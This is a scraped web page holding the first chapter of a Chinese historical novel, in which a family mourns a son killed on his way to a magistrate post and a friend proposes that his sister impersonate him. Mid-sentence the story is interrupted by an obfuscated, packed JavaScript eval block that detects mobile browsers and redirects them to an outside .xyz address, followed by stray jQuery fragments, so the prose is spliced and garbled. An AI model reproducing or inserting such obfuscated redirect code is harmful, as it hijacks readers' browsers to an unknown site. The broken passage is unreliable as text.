默认冷灰
24号文字
方正启体

1. 第一章

作者:闫桔本书字数:K更新时间:
    细碎的抽泣声,划破了沉睡的夜。


    睡得迷迷糊糊的虞妙书被吵醒,起初她还以为是自己听岔了,后来侧耳倾听,确实有人啜泣。


    虞妙书心中诧异,深更半夜的,是谁在哭?


    她睡眼惺忪坐起身,透过麻布帐子看向窗户,外头夜色如墨,浓稠得化不开。


    那啜泣声时有时无,引人探究。


    虞妙书怀揣着困惑,摸黑把外衣穿上,去探情形。


    房门“吱呀”一声,时值初夏夜里还有些冷,她边拢衣裳边走到院子里,见堂屋亮着灯,心中更是好奇。


    寻着声音探去,里头的人听到外面的脚步声,顿时停止了说话。


    虞妙书上前推开大门,刺目的灯光令她不适眯眼,瞧见屋里的人们,吃惊道:“爹娘、嫂嫂,你们这是作甚?”


    虞母黄氏坐在高椅上,猝不及防看到那张跟长子相似的面庞,再也绷不住泪涕横流。


    嫂嫂张氏站在婆母身侧,捂住嘴两眼婆娑,连虞父都眼眶泛红,泫然欲泣。


    他们的反应令虞妙书一脸懵,视线往左望去,屋里还有两名生人。


    一位上了年纪,约莫五十多的模样,国字脸,蒜头鼻,满面风霜憔悴。她记得是虞家的仆人,好像叫刘二。


    还有一位年轻人则通身的文秀,个头高瘦,面貌清俊,一双瑞凤眼,虽身着粗布衣,风尘仆仆的,却难掩文士风流。


    黄氏的话语把虞妙书的视线吸引了过去,她含泪道:“文君,你兄长他、他没了……”


    文君是虞妙书的小名,还是兄长虞妙允给取的,意喻君子坦荡。


    听到黄氏的话,虞妙书愣了愣,诧异道:“阿娘你说什么胡话,阿兄他不是去奉县上任了吗?”


    刘二也跟着抹泪,哽咽道:“小娘子,大郎君在涂州遭遇走蛟身亡,老奴和宋郎君侥幸捡回一条命来……”


    说到这里,他再也忍不住压抑痛哭,自言自语道:“就差那么一点,我们都抓住他的手了,就差那么一点……”


    他来虞家近四十年,打小看着兄妹长大,对虞妙允感情深厚,却未能把他从鬼门关拉回来,此刻悔恨不已,一个劲儿捶头,骂自己无能。


    虞父唉声叹气,红着眼道:“是祸躲不过,这或许就是大郎的命,他的命啊……”


    说罢用袖子拭泪,满面悲切。


    张氏膝盖发软瘫坐在地,明明都要做官夫人了,哪曾想一夜之间竟成了寡妇,含泪道:“爹、娘,大郎没了,以后我们娘仨可要怎么活啊?”


    她泣不成声,家里的顶梁柱没了,只觉天都塌了。那一双稚子才不过四岁,就没了爹,往后的日子可要怎么过。


    他们的悲恸令虞妙书一时回不过神儿,她才穿过来个把月,并未跟虞家建立起多深厚的感情,就连丧生的虞妙允都没见过面,只凭原主的记忆晓得一些。


    这消息对虞家来说简直是噩梦。


    千军万马过独木桥走科举杀到金銮殿上的进士,全家都盼着虞妙允光宗耀祖,结果希望化为泡影。


    “好端端的,阿兄怎么就遇到了走蛟呢?”虞妙书冷静提出质疑。


    所谓走蛟,也就是泥石流。


    刘二又把那场灾难细说一番,以及他和宋珩施救失败的经历娓娓道来,听得在场的人们胆战心惊。


    刘二抹泪道:“老奴眼睁睁看着大郎君被活埋,急得没法子,我和宋郎君也差点被埋了,后来实在不甘又去找人,把他给刨了出来……”


    他一个劲掉泪,显然不愿去回忆那段惨痛过往。


    宋珩一脸沉重的把虞妙允死前挣扎扯烂的衣袖送到虞家二老跟前,遗憾道:“这是重明的衣物,当时我们抓住他的手和衣袖,仍旧未能把他救出来。”


    重明是虞妙允的表字。


    白发人送黑发人,虞父接住那块残缺的衣袖,仿佛看到自家长子在死亡线上挣扎的痛苦表情,不由得老泪纵横。


    宋珩又取出虞妙允的路引和任命文书等物,皮面上沾了许多淤泥的痕迹,里头却干干净净,保存完好。


    “请伯父伯母节哀。”


    说罢跪地给他们磕了三个头,算是替虞妙允尽最后的孝道。


    黄氏望着他年轻的面庞,不由得想起自家儿子,压抑呜咽。


    虞父泪眼模糊上前把他扶起身,喉头发堵道:“难为昭瑾了。”


    宋珩表字昭瑾,是异乡人,这些年受虞妙允接济,二人投缘谈得来,私交关系甚好,跟虞家也走得亲近,甚得他们信任。


    瘫坐在地上的张氏仰头望他,含泪道:“我家大郎就这么客死异乡了吗?”


    宋珩答不出话来。


    刘二道:“回娘子的话,老奴和宋郎君有把大郎君妥善安葬,只等着报丧后,便去把遗体迁回来归乡。”


    张氏听罢伤心不已,又开始抽泣。


    这会儿已是子夜时分,奔回来报丧的两人着实疲乏,虞父先安顿他们歇息,有什么话明日再说。


    当天晚上虞家人彻夜未眠,婆媳俩抱头痛哭,虞妙书不知道该怎么安慰她们。


    虞家这般花费精力供养出来的进士,一下子就没了,任谁都承受不住。


    且虞妙允还是虞家唯一的儿子。


    翌日虞父虞正宏强压下悲痛,与宋珩商议把虞妙允的遗体迁移回乡,并且还得上报给里正虞妙允身亡的消息,让朝廷重新派人去奉县上任。


    宋珩垂首一直没有说话,接连劳累奔波,整个人清减许多,眼下泛青,透着疲倦。


    见他一直不语,虞正宏拭眼角道:“昭瑾为何不语?”


    宋珩沉默了许久,才不答反问:“虞伯父可甘心?”


    虞正宏含着热泪,“人死不能复生,老汉不甘心又能如何?”


    宋珩皱眉,情绪起伏道:“重明二十三中进士,青年才俊,虞家这般费尽心血供养他科举,好不容易等到上任,却得来这样的结果。


    “这些年宋某看着他步步走来,何其艰辛,而今却竹篮打水一场空,实在不甘!”


    这番话他说得激动,仿佛是自己遭遇不公一样。


    虞正宏听得泪涕连连,他又何尝不知长子的不易。从童生到进士,头悬梁锥刺股,一刻也不敢松懈。


    且为了供养他科举,虞家靠祖业砸下不少钱银。那么多年的心血付之东流,要恨就恨天妒英才,早早把他收了去。


    宋珩心中似有盘算,忽而跪地道:“还请虞伯父三思!”


    他此举把虞正宏吓了一跳,顾不得脸上的热泪,连忙起身搀扶,“昭瑾这是何意?”


    宋珩把心一横,盘算道:“昨晚我们商事时,文君推门而入,那一刻,我仿佛看到重明又回来了。”


    虞正宏愣了愣,没明白他话中的意思,喃喃道:“他们兄妹确实相似。”


    宋珩趁热打铁,“文君会识字,不知虞伯父可有想法?”


    虞正宏还是没反应过来,困惑问:“什么想法?”


    宋珩:“重明之事暂且还未走漏出去,虞伯父若有打算,还来得及挽救。”


    此话一出,虞正宏隐隐猜到了什么,太阳穴


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340516|183417||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    突突地跳了起来,硬着头皮问:“怎么挽救?”


    宋珩冷静道:“瞒天过海,替兄上任。”


    简短的八个字,震得虞正宏脑门嗡嗡作响。


    纵使他有所猜测,真听到对方说出来,还是忍不住腿软。他失态后退几步,跌坐到椅子上,脸色都变了。


    相较而言,宋珩则镇定得多,“此举关乎虞家老小前程,还请虞伯父慎重考虑,若你敢豁出去,我宋昭瑾必当拼尽全力护送文君,与虞家生死与共。”


    话语一落,虞正宏失措道:“昭瑾疯了,这可是要杀头的!”


    宋珩没有吭声。


    此举确实是杀头之罪,他只是一个外人,自然无法左右虞家的考量。


    可是他好不甘心。


    虞妙允那般清正的君子,正是朝廷需要的栋梁之才。他视他为肃清官场的希望,甚至愿意花毕生心血去扶他上青云,做他背后的无名影子……


    虞正宏仿佛受到了刺激,嘴里喃喃自语:“这可是要杀头的,杀头之罪。”


    虽说大周女帝当政,女子也能参加科举,但冒名顶替便是欺君,一旦败露,全家都得砍头。


    虞正宏眼皮子狂跳,只觉得宋珩的心太野。但他又不甘心,举家培养的进士,眼见就能光宗耀祖前程似锦了,结果一场空。


    若再重新培养孙子虞晨,等他科举那得到猴年马月。


    再说回虞妙书,虽也识字,却不是块读书的料。以前虞妙允押着她上进,仍是无果,嘴里说就靠兄长高中扶持嫁个好夫家,被虞妙允埋汰了许久。


    如今把闺女推出去顶替,虞正宏只觉得宋珩异想天开。


    那可是官场,一县之主,跟朝廷京官比不得,却也是土皇帝,自家闺女能应付得下吗?


    虞正宏在脑中打了个问号。


    起初他是万万不允的,但也多了个心眼,让家里人先把虞妙允身亡一事压下,勿要走漏风声。


    整个下午虞正宏都关在屋里,直勾勾盯着桌上的任命文书。


    那是儿子头悬梁锥刺股讨来的,不仅是他的心血,更是虞家光宗耀祖的前程。


    回想最初信使送来这份文书时的欢喜,现在反而变成了一根刺,扎在心间拔也不是,不拔也不是。


    虞正宏颤抖着双手捧起它,看着上面鲜红的印章,犹记得儿子跟他们念文书内容的情形,全家笑得合不拢嘴。


    虞家祖辈三代尝试科举,却没有人是块读书的料,而今好不容易出了根好苗子,却半道折损,焉能不恨苍天捉弄?!


    晚些时候陪在嫂嫂身边的虞妙书被黄氏喊了过去,说虞父有话要跟她说。


    虞妙书进屋里,喊了一声爹。


    虞正宏从深思中回过神儿,上下打量她,十八岁的闺女已经出落得像模像样了。她身量高挑,浓眉大眼,五官不似寻常女儿那般娇怯,而是英气。


    文君,文君,意喻君子坦荡。


    似乎有那么一刻,望着与长子相似的面庞,虞正宏不禁恍惚起来,仿佛虞家的希望又回来了。


    他朝她招手,唤道:“文君过来。”


    虞妙书走上前,虞正宏把那封任命文书捧到她面前,一字一句道:“这是你兄长用命换来的前程,文君敢不敢接?”


    虞妙书愣了愣,困惑问:“爹,这话是什么意思?”


    虞正宏咬了咬牙,豁出去道:“接下你兄长的前程,去往奉县上任,文君敢与不敢?”


    虞妙书:“……”


    不是,爹啊,我这才过来几天,就玩儿得这么大?!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)